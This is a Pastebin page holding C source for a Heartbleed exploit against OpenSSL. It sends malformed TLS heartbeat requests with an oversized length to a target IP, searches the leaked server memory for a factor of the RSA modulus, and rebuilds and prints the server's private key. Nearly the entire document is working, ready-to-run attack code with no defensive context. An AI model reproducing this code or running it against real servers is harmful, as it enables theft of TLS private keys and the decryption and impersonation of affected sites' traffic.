Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Heartbleed Private Key Exploit.
- * Author: Felipe Osorio Thome.
- * Date: july 1, 2014
- * Brasil, Universidade de Sao Paulo - USP.
- * Instituto de Ciencias Matematicas e Computacao - ICMC.
- *
- * This exploit is very simple. It is the main idea that matters.
- * Feel free to improve it. */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <errno.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <openssl/ssl.h>
- #define DEFAULT_PORT 443
- #define DEFAULT_TRIES 10000
- #define fatal(expression) do{ \
- if(expression) { \
- fprintf(stderr, "%d: %s\n", __LINE__, strerror(errno)); \
- exit(EXIT_FAILURE); \
- } \
- } while(0)
- /* This macros (n2s and s2n) is copied from ssl/ssl_locl.h. */
- #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
- (((unsigned int)(c[1])) )),c+=2)
- #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
- c[1]=(unsigned char)(((s) )&0xff)),c+=2)
- typedef struct {
- int socket;
- SSL *ssl_handle;
- SSL_CTX *ssl_context;
- } CONN;
- int tcp_connect(char *host, unsigned int port) {
- int sockfd;
- struct sockaddr_in sa;
- fatal( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 );
- sa.sin_family = AF_INET;
- sa.sin_port = htons(port);
- sa.sin_addr.s_addr = inet_addr(host);
- memset(&sa.sin_zero, 0, sizeof(sa.sin_zero));
- fatal( connect(sockfd, (struct sockaddr *) &sa, sizeof(struct sockaddr)) < 0 );
- return sockfd;
- }
- void ssl_init() {
- SSL_library_init();
- SSL_load_error_strings();
- }
- CONN *ssl_connect(char *host, unsigned int port) {
- CONN *c = NULL;
- BIO *sbio = NULL;
- fatal( !(c = malloc(sizeof(CONN))) );
- c->socket = tcp_connect(host, port);
- if( !(c->ssl_context = SSL_CTX_new(SSLv23_client_method())) ) ERR_print_errors_fp (stderr);
- if( !(c->ssl_handle = SSL_new(c->ssl_context)) ) ERR_print_errors_fp (stderr);
- sbio = BIO_new_socket(c->socket, BIO_NOCLOSE);
- SSL_set_bio(c->ssl_handle, sbio, sbio);
- if( SSL_connect(c->ssl_handle) != 1 ) ERR_print_errors_fp (stderr);
- return c;
- }
- void bleed(CONN *c) {
- unsigned char *buf = NULL, *p = NULL;
- if( !(buf = OPENSSL_malloc(3)) ) {
- fprintf(stderr, "%d: %s Problem allocating memory.\n", __LINE__, strerror(errno));
- }
- else {
- p = buf;
- *p++ = TLS1_HB_REQUEST;
- s2n(0xffff,p);
- ssl3_write_bytes(c->ssl_handle, TLS1_RT_HEARTBEAT, buf, 3);
- OPENSSL_free(buf);
- }
- }
- unsigned char *get_data(CONN *c) {
- unsigned char *buf = NULL;
- SSL_read(c->ssl_handle, buf, 0);
- unsigned char *p = &c->ssl_handle->s3->rrec.data[0], *pl;
- unsigned short hbtype;
- unsigned int payload;
- hbtype = *p++;
- n2s(p, payload);
- if(hbtype == TLS1_HB_RESPONSE) {
- fatal( !(buf = OPENSSL_malloc(payload)) );
- memcpy(buf, p, payload);
- }
- return buf;
- }
- RSA *gen_key(BIGNUM *n, BIGNUM *e, BIGNUM *p, BIGNUM *q) {
- RSA *rsa_pvtkey = NULL;
- BN_CTX *ctx = NULL;
- BIGNUM *tmp = NULL, *r0 = NULL, *r1 = NULL, *r2 = NULL;
- if( !(rsa_pvtkey = RSA_new()) ) goto err;
- if( !(ctx = BN_CTX_new()) ) goto err;
- BN_CTX_start(ctx);
- r0 = BN_CTX_get(ctx);
- r1 = BN_CTX_get(ctx);
- r2 = BN_CTX_get(ctx);
- if( !(rsa_pvtkey->n = BN_dup(n)) ) goto err;
- if( !(rsa_pvtkey->e = BN_dup(e)) ) goto err;
- if( !(rsa_pvtkey->p = BN_dup(p)) ) goto err;
- if( !(rsa_pvtkey->q = BN_dup(q)) ) goto err;
- if( !(rsa_pvtkey->d = BN_new()) ) goto err;
- if( !(rsa_pvtkey->dmp1 = BN_new()) ) goto err;
- if( !(rsa_pvtkey->dmq1 = BN_new()) ) goto err;
- if( !(rsa_pvtkey->iqmp = BN_new()) ) goto err;
- if(BN_cmp(rsa_pvtkey->p, rsa_pvtkey->q) < 0) {
- tmp = rsa_pvtkey->p;
- rsa_pvtkey->p = rsa_pvtkey->q;
- rsa_pvtkey->q = tmp;
- }
- if( !BN_sub(r1, rsa_pvtkey->p, BN_value_one()) ) goto err;
- if( !BN_sub(r2, rsa_pvtkey->q, BN_value_one()) ) goto err;
- if( !BN_mul(r0, r1, r2, ctx) ) goto err;
- if( !BN_mod_inverse(rsa_pvtkey->d, rsa_pvtkey->e, r0, ctx) ) goto err;
- if( !BN_mod(rsa_pvtkey->dmp1, rsa_pvtkey->d, r1, ctx) ) goto err;
- if( !BN_mod(rsa_pvtkey->dmq1, rsa_pvtkey->d, r2, ctx) ) goto err;
- if( !BN_mod_inverse(rsa_pvtkey->iqmp, rsa_pvtkey->q, rsa_pvtkey->p, ctx) ) goto err;
- err:
- if(!rsa_pvtkey) {
- fprintf(stderr, "An error occur while creating RSA struct.\n");
- }
- if(ctx) {
- BN_CTX_end(ctx);
- BN_CTX_free(ctx);
- }
- return rsa_pvtkey;
- }
- RSA *get_key(CONN *c, unsigned char *data) {
- int i, payload = 65535, prime_size = 64;
- X509 *peer = NULL;
- EVP_PKEY *pkey = NULL;
- RSA *rsa_pubkey = NULL, *rsa_pvtkey = NULL;
- unsigned char *data_inv = NULL;
- peer = SSL_get_peer_certificate(c->ssl_handle);
- pkey = X509_get_pubkey(peer);
- rsa_pubkey = pkey->pkey.rsa;
- if( !(data_inv = OPENSSL_malloc(payload)) ) goto err;
- for(i = 0; i < payload; i++) {
- data_inv[i] = data[payload - (i + 1)];
- }
- BIGNUM *n = rsa_pubkey->n;
- BIGNUM *e = rsa_pubkey->e;
- BIGNUM *prime = BN_new();
- BIGNUM *dv = BN_new();
- BIGNUM *rem = BN_new();
- BN_CTX *ctx = BN_CTX_new();
- for(i = 0; i < (payload - prime_size); i++) {
- BN_bin2bn(data_inv + i, prime_size, prime);
- if(!BN_is_zero(prime) && !BN_is_one(prime) && BN_cmp(n, prime)) {
- BN_div(dv, rem, n, prime, ctx);
- if(BN_is_zero(rem)) {
- rsa_pvtkey = gen_key(n, e, prime, dv);
- }
- }
- }
- err:
- if(ctx) BN_CTX_free(ctx);
- if(rem) BN_free(rem);
- if(data_inv) OPENSSL_free(data_inv);
- return rsa_pvtkey;
- }
- int main(int argc, char **argv) {
- int i;
- unsigned char *data = NULL;
- RSA *rsa_pvtkey = NULL;
- if(argc <= 1) {
- fprintf(stderr, "You need enter the target IP.\n");
- exit(EXIT_FAILURE);
- }
- ssl_init();
- CONN *c = ssl_connect(argv[1], DEFAULT_PORT);
- for(i = 0; i < DEFAULT_TRIES; i++) {
- bleed(c);
- data = get_data(c);
- if(data) {
- rsa_pvtkey = get_key(c, data);
- if(rsa_pvtkey) {
- RSA_print_fp(stdout, rsa_pvtkey, 0);
- break;
- }
- }
- }
- if(data) OPENSSL_free(data);
- if(rsa_pvtkey) RSA_free(rsa_pvtkey);
- if(c) free(c);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement